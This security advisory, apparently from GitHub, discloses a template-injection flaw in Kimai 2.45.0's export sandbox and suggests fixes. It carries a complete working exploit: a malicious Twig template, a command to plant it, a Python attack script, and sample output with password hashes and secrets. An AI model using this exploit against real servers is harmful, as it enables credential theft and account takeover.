| Field | Value | |-------|-------| | Title | Authenticated SSTI via Permissive Export Template Sandbox || Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | High (Admin with export permissions and server access) | | User Interaction | None | | Impact | Confidentiality: HIGH (Credential/Secret Extraction) | | Affected Versions | Kimai 2.45.0 (likely earlier versions) | | Tested On | Docker: kimai/kimai2:apache-2.45.0 | | Discovery Date | 2026-01-05 |
Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.
Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:
.pdf.twig template in /opt/kimai/var/export/ via:
The test environment contains 2 users whose password hashes were successfully extracted:
Kimai Users Page - screenshot_users.png: <img width="1124" height="1119" alt="screenshot_users" src="https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235" />
| User | Role | Hash Extracted | |------|------|----------------| | admin | ROLESUPERADMIN | ✅ Yes | | lowpriv | ROLE_USER | ✅ Yes |
===SSTI_EXTRACTION_START===
1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod
2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
i:0;O:15:"App\Entity\User":5:{
s:2:"id";i:1;
s:8:"username";s:5:"admin";
s:7:"enabled";b:1;
s:5:"email";s:17:"admin@example.com";
s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
}
i:1;b:1;i:2;N;i:3;a:0:{}
i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
}
}
3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER
4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a
5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58
===SSTI_EXTRACTION_END===
src/Twig/SecurityPolicy/ExportPolicy.phpThe export functionality uses ExportPolicy which includes DefaultPolicy:
$this->policy->addPolicy(new DefaultPolicy());
src/Twig/SecurityPolicy/DefaultPolicy.phpfinal class DefaultPolicy implements SecurityPolicyInterface
{
public function checkSecurity($tags, $filters, $functions): void
{
// EMPTY - No restrictions on Twig tags/filters/functions
}
public function checkMethodAllowed($obj, $method): void
{
// EMPTY - Allows ANY method call on ANY object
}
public function checkPropertyAllowed($obj, $property): void
{
// EMPTY - Allows ANY property access on ANY object
}
}
This allows templates to call methods like:
- app.request.server.get("APP_SECRET") - Environment variable access
- app.session.get("_security_secured_area") - Session data access
- entry.user.password - Password hash access
Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:
docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>SSTI Data Extraction</title>
<style>
body { font-family: monospace; font-size: 10px; }
h1, h2 { color: #333; }
pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }
</style>
</head>
<body>
<h1>===SSTI_EXTRACTION_START===</h1>
<h2>1. ENVIRONMENT VARIABLES</h2>
<pre>
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }}
APP_ENV: {{ app.request.server.get("APP_ENV") }}
APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }}
</pre>
<h2>2. SESSION TOKEN (SERIALIZED)</h2>
<pre>
{{ app.session.get("_security_secured_area") }}
</pre>
<h2>3. CURRENT USER DETAILS</h2>
<pre>
{% set user = query.currentUser %}
username: {{ user.username }}
email: {{ user.email }}
password_hash: {{ user.password }}
roles: {{ user.roles|join(", ") }}
id: {{ user.id }}
</pre>
<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2>
<pre>
{% set seen = {} %}
{% for entry in entries %}
{% if entry.user is defined and entry.user.username not in seen %}
{% set seen = seen|merge({(entry.user.username): true}) %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endif %}
{% endfor %}
</pre>
<h2>5. CSRF TOKENS</h2>
<pre>
_csrf/search: {{ app.session.get("_csrf/search") }}
_csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }}
_csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }}
</pre>
<h2>6. USER PREFERENCES</h2>
<pre>
{% set user = query.currentUser %}
{% for pref in user.preferences %}
{{ pref.name }}: {{ pref.value }}
{% endfor %}
</pre>
<h1>===SSTI_EXTRACTION_END===</h1>
</body>
</html>
TEMPLATE'
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
pdftotext kimai_extracted_data.pdf -
# Install Python dependencies
pip install requests
# Install PDF text extraction tool
sudo apt install poppler-utils
python3 ssti_exploit.py <target_url> <username> <password> [template_name]
Arguments:
target_url - Kimai instance URL (e.g., http://localhost:8001)
username - Valid admin username with export permissions
password - User password
template_name - Optional: custom template (default: ssti-extract.pdf.twig)
# Basic usage
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
# With custom template
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig
╔═══════════════════════════════════════════════════════════════╗
║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║
║ ║
║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║
╚═══════════════════════════════════════════════════════════════╝
[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf
============================================================
RAW EXTRACTED DATA:
============================================================
===SSTI_EXTRACTION_START===
1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod
2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}
3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER
4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a
5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58
===SSTI_EXTRACTION_END===
============================================================
CRITICAL FINDINGS SUMMARY:
============================================================
[!] APP_SECRET: change_this_to_something_unique
[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
[!] Password Hashes Found: 2 unique
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...
[!] Session Token: Present (serialized PHP object)
[!] CSRF Tokens: 2 found
[+] Exploitation successful!
[+] Full output saved to: kimai_extracted_data.pdf
| File | Description |
|------|-------------|
| kimai_extracted_data.pdf | PDF containing all extracted sensitive data |
# Extract text from PDF
pdftotext kimai_extracted_data.pdf -
# Save to file
pdftotext kimai_extracted_data.pdf extracted_secrets.txt
# Search for specific secrets
pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)"
| Error Message | Cause | Solution |
|---------------|-------|----------|
| Cannot connect to <url> | Target unreachable | Check URL and network |
| Authentication failed | Wrong credentials | Verify username/password |
| Template not found | Template not deployed | Deploy template first (Step 1) |
| Access denied | Insufficient permissions | Use admin account with export perms |
| pdftotext not installed | Missing tool | Run apt install poppler-utils |
#!/usr/bin/env python3
"""
Kimai 2.45.0 - SSTI Information Disclosure Exploit
Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens
Prerequisites:
1. Valid admin credentials
2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig
Usage: python3 ssti_exploit.py <target_url> <username> <password>
Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
Author: Security Research
Date: 2026-01-05
"""
import requests
import re
import subprocess
import sys
import os
class KimaiSSTIExploit:
def __init__(self, target, username, password):
self.target = target.rstrip('/')
self.session = requests.Session()
self.username = username
self.password = password
def login(self):
"""Authenticate to Kimai"""
print(f"[*] Connecting to {self.target}")
try:
login_page = self.session.get(f"{self.target}/en/login", timeout=10)
except requests.exceptions.ConnectionError:
raise Exception(f"Cannot connect to {self.target}")
except requests.exceptions.Timeout:
raise Exception(f"Connection timeout to {self.target}")
if login_page.status_code != 200:
raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}")
csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text)
if not csrf_match:
raise Exception("CSRF token not found on login page")
csrf = csrf_match.group(1)
print(f"[*] Authenticating as {self.username}")
login_resp = self.session.post(
f"{self.target}/en/login_check",
data={
"_username": self.username,
"_password": self.password,
"_csrf_token": csrf
},
allow_redirects=True,
timeout=10
)
# Check for successful login
if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower():
if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower():
raise Exception("Invalid username or password")
raise Exception("Authentication failed - check credentials")
print(f"[+] Successfully authenticated as {self.username}")
return True
def trigger_ssti(self, template_name="ssti-extract.pdf.twig"):
"""Trigger SSTI via export functionality"""
print(f"[*] Triggering SSTI with template: {template_name}")
try:
export_resp = self.session.post(
f"{self.target}/en/export/data",
data={
"renderer": template_name,
"state": "3", # All states
"billable": "0", # All billable states
"exported": "5", # All export states
"markAsExported": "0",
},
timeout=60
)
except requests.exceptions.Timeout:
raise Exception("Export request timed out")
if export_resp.status_code == 404:
raise Exception(f"Template '{template_name}' not found - deploy template first")
if export_resp.status_code == 403:
raise Exception("Access denied - user lacks export permissions")
if export_resp.status_code != 200:
raise Exception(f"Export failed: HTTP {export_resp.status_code}")
if b'%PDF' not in export_resp.content[:10]:
if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():
raise Exception("Template rendering error - check template syntax")
raise Exception("Invalid response - expected PDF output")
print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes")
return export_resp.content
def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"):
"""Extract text from PDF using pdftotext"""
with open(output_path, "wb") as f:
f.write(pdf_content)
try:
result = subprocess.run(
["pdftotext", output_path, "-"],
capture_output=True,
text=True,
timeout=30
)
if result.returncode != 0:
print(f"[-] pdftotext error: {result.stderr}")
return None
return result.stdout
except FileNotFoundError:
print("[-] pdftotext not installed")
print(" Install with: apt install poppler-utils")
return None
except subprocess.TimeoutExpired:
print("[-] pdftotext timed out")
return None
def parse_findings(self, text):
"""Parse and categorize extracted data"""
findings = {
"app_secret": None,
"database_url": None,
"password_hashes": [],
"session_token": None,
"csrf_tokens": []
}
lines = text.split('\n')
for i, line in enumerate(lines):
line = line.strip()
if "APP_SECRET:" in line:
findings["app_secret"] = line.split("APP_SECRET:")[-1].strip()
if "DATABASE_URL:" in line or "mysql://" in line:
if "mysql://" in line:
findings["database_url"] = line.strip()
elif i + 1 < len(lines):
findings["database_url"] = lines[i + 1].strip()
if "$2y$" in line:
findings["password_hashes"].append(line)
if "UsernamePasswordToken" in line:
findings["session_token"] = "Present (serialized PHP object)"
if "_csrf" in line.lower() or len(line) == 43:
if ":" in line:
findings["csrf_tokens"].append(line)
return findings
def print_banner():
print("""
╔═══════════════════════════════════════════════════════════════╗
║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║
║ ║
║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║
╚═══════════════════════════════════════════════════════════════╝
""")
def main():
print_banner()
if len(sys.argv) < 4:
print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]")
print()
print("Arguments:")
print(" target_url - Kimai instance URL (e.g., http://localhost:8001)")
print(" username - Valid admin username")
print(" password - User password")
print(" template_name - Optional: custom template name (default: ssti-extract.pdf.twig)")
print()
print("Example:")
print(" python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!")
print()
print("Prerequisites:")
print(" 1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig")
print(" 2. User must have export permissions (ROLE_ADMIN or higher)")
sys.exit(1)
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig"
exploit = KimaiSSTIExploit(target, username, password)
try:
# Step 1: Authenticate
exploit.login()
# Step 2: Trigger SSTI
pdf_content = exploit.trigger_ssti(template)
# Step 3: Save PDF
output_file = "kimai_extracted_data.pdf"
with open(output_file, "wb") as f:
f.write(pdf_content)
print(f"[+] PDF saved to: {output_file}")
# Step 4: Extract and display text
text = exploit.extract_text(pdf_content)
if text:
print()
print("="*60)
print("RAW EXTRACTED DATA:")
print("="*60)
print(text[:2000])
if len(text) > 2000:
print(f"\n... [{len(text) - 2000} more characters]")
# Parse findings
findings = exploit.parse_findings(text)
print()
print("="*60)
print("CRITICAL FINDINGS SUMMARY:")
print("="*60)
if findings["app_secret"]:
print(f"[!] APP_SECRET: {findings['app_secret']}")
if findings["database_url"]:
print(f"[!] DATABASE_URL: {findings['database_url']}")
if findings["password_hashes"]:
unique_hashes = list(set(findings["password_hashes"]))
print(f"[!] Password Hashes Found: {len(unique_hashes)} unique")
for h in unique_hashes[:5]:
print(f" {h[:80]}...")
if len(unique_hashes) > 5:
print(f" ... and {len(unique_hashes) - 5} more")
if findings["session_token"]:
print(f"[!] Session Token: {findings['session_token']}")
if findings["csrf_tokens"]:
print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found")
print()
print("[+] Exploitation successful!")
print(f"[+] Full output saved to: {output_file}")
return 0
except KeyboardInterrupt:
print("\n[-] Interrupted by user")
return 130
except Exception as e:
print(f"[-] Exploitation failed: {e}")
return 1
if __name__ == "__main__":
sys.exit(main())
| Extracted Data | Security Impact |
|---------------|-----------------|
| APP_SECRET | Can forge Symfony login links to access ANY user account |
| DATABASE_URL | Direct database connection credentials exposed |
| Password Hashes | Offline password cracking possible (bcrypt) |
| Session Tokens | Session structure analysis, potential replay attacks |
| CSRF Tokens | Bypass CSRF protection for subsequent attacks |
APP_SECRETAPP_SECRET to forge login link for target userReplace DefaultPolicy with InvoicePolicy in ExportPolicy:
// src/Twig/SecurityPolicy/ExportPolicy.php
// Change:
$this->policy->addPolicy(new DefaultPolicy());
// To:
$this->policy->addPolicy(new InvoicePolicy());
Block environment access in templates:
public function checkMethodAllowed($obj, $method): void
{
if ($obj instanceof Request && $method === 'getServer') {
throw new SecurityError('Server access not allowed');
}
}
Block session access in templates:
if ($obj instanceof Session) {
throw new SecurityError('Session access not allowed');
}
Restrict User object property access:
if ($obj instanceof User && $method === 'getPassword') {
throw new SecurityError('Password access not allowed');
}
Reported by: Mahammad Huseynkhanli
{
"severity": "MODERATE",
"github_reviewed_at": "2026-01-20T17:07:13Z",
"github_reviewed": true,
"nvd_published_at": "2026-01-18T23:15:48Z",
"cwe_ids": [
"CWE-1336"
]
}